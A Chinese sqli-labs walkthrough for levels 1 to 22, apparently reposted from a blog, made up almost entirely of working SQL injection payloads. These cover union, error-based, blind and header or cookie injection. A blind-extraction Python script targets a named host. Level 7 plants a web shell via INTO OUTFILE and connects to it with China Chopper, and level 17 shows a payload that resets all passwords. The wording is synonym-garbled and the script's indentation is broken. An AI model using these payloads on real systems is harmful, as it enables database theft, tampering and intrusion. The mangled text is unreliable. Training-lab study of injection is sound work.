Sqli-lab教程-史上最全详解(1-22通关)
目次Less-1 团结注入
Less-2
Less-3
Less-4
Less-5 报错注入/布尔盲注/时间盲注
Less-6 报错注入/布尔盲注/时间盲注
Less-7 文件导出
Less-8 布尔盲注/时间盲注
Less-9 时间盲注
Less-10 时间盲注
Less-11 post注入
Less-12 post注入
Less-13 post盲注
Less-14 post盲注
Less-15 时间盲注
Less-16 时间盲注
Less-17 修改密码
Less-18 user-agent头注入
Less-19 referer头注入
Less-20 cookie头注入
Less-21 cookie头注入+base64
Less-22 cookie头注入+base64
Less-1 团结注入
https://i-blog.csdnimg.cn/blog_migrate/630abd0f090babeda643db0554b7ce38.png
当输入?id=1时,体现对应的Login name与Password
https://i-blog.csdnimg.cn/blog_migrate/0731c0b2f760e8bd091cad1e3c830b51.png
①推测闭合方式
输入\,后面是',应该是单引号闭合
https://i-blog.csdnimg.cn/blog_migrate/de4639b412894cba7a07e878b83f3db3.png
?id=1'报错
?id=1' --+不报错
说明确实是单引号闭合
https://i-blog.csdnimg.cn/blog_migrate/b977c6657c32fad0c99e8a52c44ab699.png
②手工查询有多少栏目
?id=1' order by 2--+
发现3的时候可以,4的时候不可以,说明有3列
https://i-blog.csdnimg.cn/blog_migrate/ce1f02d4baf32aa282eaf8f289ce3c50.png
③体现报错位
?id=-1' union select 1,2,3 --+
当union前面的语句为false,才会执行后面语句
发现哪些位置是可以体现的
https://i-blog.csdnimg.cn/blog_migrate/edf10b034f3a1f9480e36e0f981e6b97.png
④爆库名
?id=-1' union select 1,database(),3 --+
security
https://i-blog.csdnimg.cn/blog_migrate/9fc7987ec4ecdaab9022dd18346f8e47.png
⑤爆表名
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+
https://i-blog.csdnimg.cn/blog_migrate/6c85e37f6756b96674d71e6b068a833c.png
0,1是从第0个开始取,每次取一个
实验0,1 1,1 2,1 3,1 发现到4,1不行
大概
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
一次性爆出表名:emails,referers,uagents,users
https://i-blog.csdnimg.cn/blog_migrate/04298a392b4863a5e5bf8d2df93e83a3.png
⑥爆列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
爆出列名:id,username,password
https://i-blog.csdnimg.cn/blog_migrate/1be708b2853141a1ed3fe47be2f69d7c.png
⑦爆数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
https://i-blog.csdnimg.cn/blog_migrate/a491e31acfe59a8481cbd8a6be0c41e7.png
大概:?id=-1' union select 1,group_concat(username,password),3 from users --+
大概:为了格式好看
?id=-1' union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
https://i-blog.csdnimg.cn/blog_migrate/29eb8dc37c535683e3dd71618dc00442.png
增补:Ascii码的一些转换:ASCII_百度百科
Less-2
同Less-1,没有闭合方式
Less-3
同Less-1,')闭合
Less-4
同Less-1,")闭合
Less-5 报错注入/布尔盲注/时间盲注
这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
https://i-blog.csdnimg.cn/blog_migrate/6dd41123c109facfc59dce5d488a3696.png
发现它并没有体现位
①判定闭合方式
?id=1\
发现是'闭合
https://i-blog.csdnimg.cn/blog_migrate/b9972bf129db77f04041e5b3e9b74601.png
②判定注入点
?id=1' and 1=1 --+
https://i-blog.csdnimg.cn/blog_migrate/851b63026d087887df803e0e773578b7.png
发现页面无回显
查询语句正确时页面会打印You are in...........,错误则不体现
③爆库名
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
库名:security
https://i-blog.csdnimg.cn/blog_migrate/cf0f9c4a9e5d8601d8c4c5010ed0d53e.png
②爆表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+
https://i-blog.csdnimg.cn/blog_migrate/ef0448ab176d62035f89a33da8f0a28e.png
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
表名:emails,referers,uagents,users
https://i-blog.csdnimg.cn/blog_migrate/2470e53ee0bd540e33ba3daf73905493.png
③爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
列名:id,username,password
https://i-blog.csdnimg.cn/blog_migrate/54cd0d09851e75decc7b5de68bb85af9.png
④爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
https://i-blog.csdnimg.cn/blog_migrate/8cef767c53d93e00fbc87d7916d524d5.png
Less-6 报错注入/布尔盲注/时间盲注
布尔型注入:
这个地方进行了数据库查询,但是没有体现位,报错不会出现信息
错误和正确页面有区别
这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
https://i-blog.csdnimg.cn/blog_migrate/f8a3a7856a8761927d2c1d99c71a5d9d.png
无回显的
①判定闭合方式
?id=1\
发现是"闭合
?id=1" --+成功
②判定数据库长度
?id=1" and length(database())
https://i-blog.csdnimg.cn/blog_migrate/46d14a4c3c12ac4b62a2e300a0c740f5.png
以是库名长度=8
②判定数据库名中字母
select substr(database(),1,1);
截取数据库库名,从第1个字开始截取,每次截取1个
select ascii(substr(database(),1,1));
截取出来的字,使用ascii码编码
select ascii(substr(database(),1,1)) < 100;
以是
?id=1" and ascii(substr(database(),1,1))>114 --+
?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行
https://i-blog.csdnimg.cn/blog_migrate/e044aa5c256d95a14be53658ac0702c1.png
以是ascii码为115,第一位字母为s
用脚本跑
import requests as req
url = 'http://www.wangehacker.cn/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
for i in range(1, 100):
for ascii in range(32, 128):
id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if "You are in" in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print('{}'.format(res))
exit(0) https://i-blog.csdnimg.cn/blog_migrate/f28d4cdef2097a9f65d8d62d926b0f9c.png
得到库名:security
③走流程
只要修改脚本中的select语句即可
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_schema='security'
select group_concat(username,password)from users
Less-7 文件导出
文件导出的方式进行注入
https://www.cnblogs.com/c1047509362/p/12356354.html
①判定闭合
手工测试?id=1')) and 1=1--+成功
以是是'))闭合
②猜列数
?id=1')) order by 3--+ 列数为3
③导入一句话木马
?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+
https://i-blog.csdnimg.cn/blog_migrate/ad429b421513734169e6f0cbd73c4250.png
虽然提示报错,但是我们发现已经存在文件test.php了
https://i-blog.csdnimg.cn/blog_migrate/70721bcf1e3d5a0cde67c657b4ad2536.png
④连菜刀
中国菜刀进行连接,输入我们写的文件路径,密码是wlw
https://i-blog.csdnimg.cn/blog_migrate/658b555b6a440a34366b7ac82dd29cb6.png
成功进入
Less-8 布尔盲注/时间盲注
'闭合
这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
①判定是否有延时
id=1' and sleep(5) --+
发现确实有延时,可以用时间盲注
② 爆库长
?id=1' and if(length(database())=8,sleep(5),null)--+
③爆库名
从左边第一个字母开始,判定库名第一个字母是不是s
?id=1' and if(left(database(),1)='s',sleep(5),null)--+
?id=1' and if(left(database(),2)='se',sleep(5),null)--+
......
security
大概: ?id=1' and if((select (substr(database(),1,1))="s") ,sleep(5), null)--+
③爆表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)--+
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)--+
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)--+
......
database() 如果不想写,可以写security的hex值
表名:emails
大概:
id=1' and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(5),null) --+
④爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit *,1),*)='password' ,sleep(5),null)--+
其中*需要逐个实验
......
Less-9 时间盲注
'闭合
见Less-8
经过多次实验,返回值均为You are in …
没有体现位,错误也不会告诉你
以是只能时间盲注
Less-10 时间盲注
同Less-9,"闭合
Less-11 post注入
前十关使用的是get请求,参数都体现在url上面
而从十一关开始是post请求,参数是在表单里面
我们可以直接在输入框进行注入大概bp抓包
https://i-blog.csdnimg.cn/blog_migrate/6dd2707a15f6f4541642a2fe5c1b9a2e.png
①BP抓包,send to repater
②判定闭合方式
admin'报错,admin' #不报错,以是是’闭合
https://i-blog.csdnimg.cn/blog_migrate/c3ee99c69fa05337d8d26a19eeec6466.png
③判定回显位置
' union select 1,2 #
④爆库名
' union select 1,database() #
https://i-blog.csdnimg.cn/blog_migrate/44504fea7f63d8b5ac88eb8a02739d20.png
⑤爆表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
表名:emails,referers,uagents,users
https://i-blog.csdnimg.cn/blog_migrate/af632358ee308a42af8efa0336722915.png
⑤爆列名
' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
列名:id,username,password
https://i-blog.csdnimg.cn/blog_migrate/13442b1f581af67f6f708855c94cc3d8.png
⑥爆数据
' union select 1,group_concat(username,password) from users #
https://i-blog.csdnimg.cn/blog_migrate/1818fb3e51edf71e9376fb4902203de8.png
Less-12 post注入
")闭合 有回显
同Less-11
Less-13 post盲注
')闭合 无回显
①猜闭合方式
admin'
报错near '111') LIMIT 0,1' at line 1
说明是')闭合
②
输入') # 或') or 1=1 #
却发现,页面没有回显,考虑使用报错注入、布尔盲注大概时间盲注
这里讲报错盲注,(布尔盲注不知道为什么不行...时间盲注见Less-15)
sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-CSDN博客
③爆字段数
1') order by 3#报错
1') order by 2#无回显
以是字段数为2
④爆库名
1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #
库名:security
https://i-blog.csdnimg.cn/blog_migrate/c974cbb5acdc9759445a1d43a1a1141e.png
⑤爆表名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#
表名:emails,referers,uagents,users
https://i-blog.csdnimg.cn/blog_migrate/495cf080666022c3c153fb3ae5c02795.png
⑥爆列名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#
列名:id,username,password
https://i-blog.csdnimg.cn/blog_migrate/abaa4b7ec0d51d509574dcb8927cfd40.png
⑦爆数据
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
https://i-blog.csdnimg.cn/blog_migrate/347cffb6095267344be92639ca26e018.png
Less-14 post盲注
同Less-13
admin"报错,admin"#无回显
以是是"闭合
布尔盲注好像不能用
可以用时间盲注见Less-15
Less-15 时间盲注
'闭合
①测试
用admin'、admin" 、admin' and 1=2# 进行测试,发现都不返回错误信息
②判定是否有延时
admin' and sleep(5) #
发现确实有延时,可以用时间盲注
③爆库长
admin' and if(length(database())=8,sleep(5),null) #
④爆库名
从左边第一个字母开始,判定库名第一个字母是不是s
admin' and if(left(database(),1)='s',sleep(5),null) #
admin' and if(left(database(),2)='se',sleep(5),null) #
......
security
大概admin' and if(ascii(substr(database(),0,1))=115,1,sleep(5))#
大概admin' and if((select (substr(database(),1,1))="s") ,sleep(5), null)#
⑤爆表名
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)#
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)#
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)#
......
Less-16 时间盲注
同Less-15,")闭合
Less-17 修改密码
(本题危害比较大)
update users set password='$p' where username='$u'
update users set password='' or 1=1 #' where username='admin'
admin
' or 1=1 #
会把数据库所有密码都改为1
update users set password=1
前十六道题都很简单没有什么过滤的方法,直到这关开始有绕过
https://www.cnblogs.com/unknown27/articles/16823537.html
①爆库名
admin
1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
库名:security
https://i-blog.csdnimg.cn/blog_migrate/53d2ad52b98d5d8b3e0130da20b392ae.png
②爆表名
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#
表名:emails,referers,uagents,users
https://i-blog.csdnimg.cn/blog_migrate/1f3f20a414f0549c75bcc702260dabf6.png
③爆列名
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#
列名:id,username,password
https://i-blog.csdnimg.cn/blog_migrate/70a16e655fc7c49c6e388f1729389cbc.png
④爆数据
1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
https://i-blog.csdnimg.cn/blog_migrate/f2ef0dc6725cb8cfcea33d7a4c0d58c0.png
Less-18 user-agent头注入
user-agent
insert into 'security'.'某个表'(uagent,ipadd,username) values('欣赏器信息','ip所在','用户名')
$insert="insert into 'security'.'uagents' ('uagent', 'ip_address', 'username') values ('$uagent', '$IP', $uname)";
https://i-blog.csdnimg.cn/blog_migrate/a2871a66c482bb3f19ce4467865285d8.png
https://i-blog.csdnimg.cn/blog_migrate/9782db8b0d0c57754f7b58139d904e07.png
输入正确的用户名密码admin admin,会返回署理信息user-agent
以是uagents的数据是会写入数据库再输出的,这是我们得以成功注入的关键
(用户名密码正确才能把头注入写入背景数据库,所从前提是登录进去了)
抓包修改请求包的User Agent
关键是闭合前后的语句
sqli-labs(18-23关)_sql18关_cyphersec的博客-CSDN博客
①判定闭合方式
在username和password处实验注入均被转义,无法注入
在user-agent后测试发现
'报错
' and '1'='1正确
以是是'闭合
https://i-blog.csdnimg.cn/blog_migrate/1d0db84b2646209fe5232af1956def8e.png
②爆库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
库名:security
https://i-blog.csdnimg.cn/blog_migrate/e3545c1f8cfbb7200df3e2c6e32d9dfe.png
③爆表名
insert into 'security'.'某个表'(uagent,ipadd,username) values('' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1','ip所在','用户名')
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =database()),0x7e),1) and '1'='1
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
表名:emails,referers,uagents,users
https://i-blog.csdnimg.cn/blog_migrate/4908254a65e57ac3052fd3145599ae82.png
④爆列名
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '
列名:id,username,password
https://i-blog.csdnimg.cn/blog_migrate/5229155ca5530e9332b535cf6aa5f2b4.png
⑤爆数据
' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and '1'='1
https://i-blog.csdnimg.cn/blog_migrate/6832125842fd0d8375d91299a08c0f46.png
Less-19 referer头注入
来路流量(你是从哪个地方来的)
https://i-blog.csdnimg.cn/blog_migrate/e81bc037ad7a5712ab82b1f918ac10f8.png
输入正确的用户名密码admin admin,会返回referer
走流程
' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) and '
'and extractvalue(1,concat(0x7e,(select group_concat(username,password)from users),0x7e)) and'
https://i-blog.csdnimg.cn/blog_migrate/8088d33b06632f68df7c8c41ebffb377.png
Less-20 cookie头注入
https://i-blog.csdnimg.cn/blog_migrate/d3456ff304f185429dbe19b5d462f9bb.png
输入正确的用户名密码admin admin,会返回cookie
①判定闭合方式
admin'报错
admin' and '1'='1正确
为'闭合
②爆库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) # 也可以
https://i-blog.csdnimg.cn/blog_migrate/61238c4c760d908a0e1d99731c2adcc5.png
走流程
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) #
https://i-blog.csdnimg.cn/blog_migrate/571f0b4e53779ede8503807ffc0f04ef.png
Less-21 cookie头注入+base64
https://i-blog.csdnimg.cn/blog_migrate/890903fc90a316efe5f841997080ec68.png
照旧cookie头注入
但是抓包都发现cookie后的内容被进行base64编码了
https://i-blog.csdnimg.cn/blog_migrate/e65e69a9827d74b9a16738aa943cd41d.png
因此输入攻击语句之后,转化为base64encode即可
走流程
①爆库名
admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
编码后
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
https://i-blog.csdnimg.cn/blog_migrate/59fd63c73151ff8e00d384e2b78384a8.png
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and '1'='1
admin' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) and '1'='1
Less-22 cookie头注入+base64
同Less-21,"闭合
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]